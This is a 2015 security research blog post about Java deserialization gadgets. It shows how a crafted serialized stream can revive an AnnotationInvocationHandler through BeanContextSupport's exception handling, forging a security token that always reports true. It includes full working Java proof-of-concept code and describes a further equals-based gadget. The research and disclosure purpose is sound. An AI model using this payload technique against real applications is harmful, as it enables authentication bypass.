More serialization hacks with AnnotationInvocationHandler

Nov 09, 2015

FoxGlove Security posted an interesting blog post this weekend about Java security vulnerabilities based on the Marshalling Pickles presentation from January. Exploits for these vulnerabilities are built on chains of gadgets.
In this post we take a closer look at two such gadgets: AnnotationInvocationHandler and BeanContextSupport.

An old AnnotationInvocationHandler bug

In 2011 I reported some similar serialization bugs in Spring, and for one of them I held back to details because Spring is fast to fix bugs, but Oracle is slow. It's four years later now, it's becoming relevant again so here are the details! The problem was AnnotationInvocationHandler; the same class being used now for the Apache Commons Collection problem.
AnnotationInvocationHandler is the invocation handler for (implements the behaviour for) annotation objects in Java. It has a Class object representing the type of the annotation, and a map from properties to values. When you call a method on the annotation interface, it will return the corresponding value from the map.

Back in 2011, the problem was that deserialization didn't check if its type was really an annotation. So we could create an AnnotationInvocationHandler for any interface, and it would handle the method calls as if it was an annotation, giving our pre-canned return values. For Spring, an interesting interface to apply that to was Authentication, because we could make it ignore setAuthenticated calls and make isAuthenticated always return true. Note that Spring was just one example that happened to fit this old bug, I'm sure there were more.

Is AnnotationInvocationHandler really fixed?

But that was then and this is now. AnnotationInvocationHandler.readObject now throws InvalidObjectException when the type is not an annotation, so that shouldn't work anymore:

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream")
    }
    ...

Oh, but look, it first reads the properties, and only then throws. So we do actually deserialize a bad instance and only afterwards throw it away. I didn't look deeper into it, but from the "Marshalling Pickles" slides I see that also involves an AnnotationInvocationHandler that is still being deserialized (so before it reached the check). In their case it is for an actual annotation though, so there that might not really matter. It does demonstrate the point that throwing an exception after calling defaultReadObject is not going to prevent all abuse.

That only works if we can trigger our exploit during the deserialization itself; if we don't need the application to actually use our object. Because before serialization finishes, it's still going to reach the point where it throws that exception, practically killing the chances of abusing the object further.

What if we could catch that exception and then go on deserializing the rest of the stream which might again contain a backreference to that bad object? We want to do something like this:

ObjectInputStream stream = ...;
try {
  stream.readObject();
} catch (Exception e) {
  // ignoring exceptions is a great idea!
}
foo = stream.readObject();

We're just sending serialized data, so someone would have to do that for us. After a few minutes of grepping JDK sources, this gadget in java.beans.beancontext.BeanContextSupport popped up, looks like a good fit:

  while (count-- > 0) {
    Object                      child = null;
    BeanContextSupport.BCSChild bscc  = null;

    try {
        child = ois.readObject();
        bscc  = (BeanContextSupport.BCSChild)ois.readObject();
    } catch (IOException ioe) {
        continue;
    }
    ...
  }

Demo

Let's see how that works with a toy example. Suppose our application accepts some sort of security tokens that look like this:

interface MySecurityToken {
  boolean areYouReallyWhoYouSayYouAre();
}

class MySecurityTokenImpl implements MySecurityToken {
  @Override public boolean areYouReallyWhoYouSayYouAre() {
    return false; // don't trust anyone, they're all liars.
  }
}

Our goal is to create a MySecurityToken annotation (although that's not an actual annotation interface) by deserializing an AnnotationInvocationHandler, catching the exception it throws with BeanContextSupport and recover the handler again. Although the code in the application suggests the areYouReallyWhoYouSayYouAre method always returns false; our deserialized instance will return true. Note that MySecurityToken is not even serializable; that does not stop us.

To write the stream we'll use a slightly adapted version of Converter from Sami's Breaking Defensive Serialization post. There's a few small tricks to make this actually work, see the comments in the code.

package aih;

import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

// adapted from https://slightlyrandombrokenthoughts.blogspot.com/2010/08/breaking-defensive-serialization.html
public class Converter {
  public static byte[] toBytes(Object[] objs) throws IOException {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    DataOutputStream dos = new DataOutputStream(baos);
    for (Object obj : objs) {
      treatObject(dos, obj);
    }
    dos.close();
    return baos.toByteArray();
  }

  private static void treatObject(DataOutputStream dos, Object obj)
      throws IOException {
    if (obj instanceof Byte) {
      dos.writeByte((Byte) obj);
    } else if (obj instanceof Short) {
      dos.writeShort((Short) obj);
    } else if (obj instanceof Integer) {
      dos.writeInt((Integer) obj);
    } else if (obj instanceof Long) {
      dos.writeLong((Long) obj);
    } else if (obj instanceof String) {
      dos.writeUTF((String) obj);
    } else {
      ByteArrayOutputStream ba = new ByteArrayOutputStream();
      ObjectOutputStream oos = new ObjectOutputStream(ba);
      oos.writeObject(obj);
      oos.close();
      dos.write(ba.toByteArray(), 4, ba.size() - 4); // 4 = skip the header
    }
  }
}
package aih;

import java.beans.beancontext.BeanContextChildSupport;
import java.beans.beancontext.BeanContextSupport;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamConstants;
import java.lang.reflect.Proxy;
import java.util.HashMap;

import static java.io.ObjectStreamConstants.*;

public class AihFun {

  interface MySecurityToken {
    boolean areYouReallyWhoYouSayYouAre();
  }

  class MySecurityTokenImpl implements MySecurityToken {
    @Override public boolean areYouReallyWhoYouSayYouAre() {
      return false; // don't trust anyone, they're all liars.
    }
  }

  public static void main(String[] args) throws Exception {
    byte[] bytes = Converter.toBytes(DATA);
    MySecurityToken token = (MySecurityToken) deserialize(bytes);
    System.out.println(token.areYouReallyWhoYouSayYouAre());
  }

  static Object deserialize(byte[] bytes) throws Exception {
    return new ObjectInputStream(new ByteArrayInputStream(bytes)).readObject();
  }

  static HashMap<String, Object> createMap() {
    HashMap<String, Object> map = new HashMap<>();
    map.put("areYouReallyWhoYouSayYouAre", true);
    return map;
  }

  static final Object[] DATA = new Object[] {
      STREAM_MAGIC, STREAM_VERSION, // stream headers

      TC_OBJECT,
      TC_PROXYCLASSDESC,
      1, // one interface
      MySecurityToken.class.getName(), // the interface implemented by the proxy
      TC_ENDBLOCKDATA,

      // java.lang.Proxy class desc
      TC_CLASSDESC,
      Proxy.class.getName(),
      -2222568056686623797L, // serialVersionUID
      SC_SERIALIZABLE,
      (short) 2, // field count
      (byte) 'L', "dummy", TC_STRING, "Ljava/lang/Object;", // dummy field
      (byte) 'L', "h", TC_STRING, "Ljava/lang/reflect/InvocationHandler;", // h field
      TC_ENDBLOCKDATA,
      TC_NULL, // no superclass

      // value for the dummy field is our BeanContextSupport.
      // this field does not actually exist in the Proxy class, so after deserialization this object
      // is ignored.
      TC_OBJECT,
      TC_CLASSDESC,
      BeanContextSupport.class.getName(),
      -4879613978649577204L, // serialVersionUID
      (byte) (SC_SERIALIZABLE | SC_WRITE_METHOD),
      (short) 1, // field count
      (byte) 'I', "serializable", // serializable field, number of serializable children
      TC_ENDBLOCKDATA,
      TC_CLASSDESC,
      BeanContextChildSupport.class.getName(),
      6328947014421475877L,
      SC_SERIALIZABLE,
      (short) 1, // field count
      (byte) 'L', "beanContextChildPeer", TC_STRING, "Ljava/beans/beancontext/BeanContextChild;",
      TC_ENDBLOCKDATA,
      TC_NULL, // no superclass

      // beanContextChildPeer must point back to this BeanContextSupport for
      // BeanContextSupport.readObject to go into BeanContextSupport.readChildren()
      TC_REFERENCE, baseWireHandle + 8,
      1, // serializable: one serializable child

        // the invocationhandler
        TC_OBJECT,
        TC_CLASSDESC,
        "sun.reflect.annotation.AnnotationInvocationHandler",
        6182022883658399397L, // serialVersionUID
        // added SC_WRITE_METHOD flag to work around ObjectInputStream.defaultDataEnd issue.
        // Without this, because of the exception being thrown while deserializing,
        // ObjectInputStream gets in bad state: it doesn't reset its "defaultDataEnd" field to
        // false when it gets thrown past the end, and that breaks further use of the stream.
        // The SC_WRITE_METHOD here prevents "defaultDataEnd" from becoming true in the first place
        (byte) (SC_SERIALIZABLE | SC_WRITE_METHOD),
        (short) 2, // field count
        (byte) 'L', "type", TC_STRING, "Ljava/lang/Class;", // type field
        (byte) 'L', "memberValues", TC_STRING, "Ljava/util/Map;", // memberValues field
        TC_ENDBLOCKDATA,
        TC_NULL, // no superclass
        MySecurityToken.class, // type field value
        createMap(), // memberValues field value

      // note: at this point normally the BeanContextSupport.readChildren would try to read the
      // BCSChild; but because the deserialization of the AnnotationInvocationHandler above throws,
      // we skip past that one into the catch block, and continue out of readChildren

      ObjectStreamConstants.TC_BLOCKDATA, (byte) 4, // block length
      0, // no BeanContextSupport.bcmListeners
      TC_ENDBLOCKDATA,
      // end of BeanContextSupport

      // value for the Proxy.h field
      TC_REFERENCE, baseWireHandle + 12 // refer back to the AnnotationInvocationHandler
  };
}

Not-so-arbitrary code execution

AnnotationInvocationHandler.equalsImpl is also... special. When we call equals on an annotation and give it an object implementing the same interface but not using AnnotationInvocationHandler, then it goes through all the methods on the interface and calls them on that object. Since I originally reported this it has been tightened down: before calling any method it checks if all the methods look like they could be from an annotation (public abstract without arguments, a return type supported by annotations,...). I don't see a way to directly exploit it, but it does still make a curious gadget.

For example, say there is a serializable IntSupplier on our classpath. We can put it in a stream together with a fake IntSupplier annotation, and if we can get something to call equals on it (e.g. when putting them in the same HashMap with the same hashcode) it will invoke the IntSupplier.getAsInt method.

Can you find some more interesting uses of this?

Conclusion

These kind of issues aren't new. AnnotationInvocationHandler or BeanContextSupport are not the real problem. If you've been following the Java security news, my main message should sound pretty familiar:
Don't deserialize untrusted data.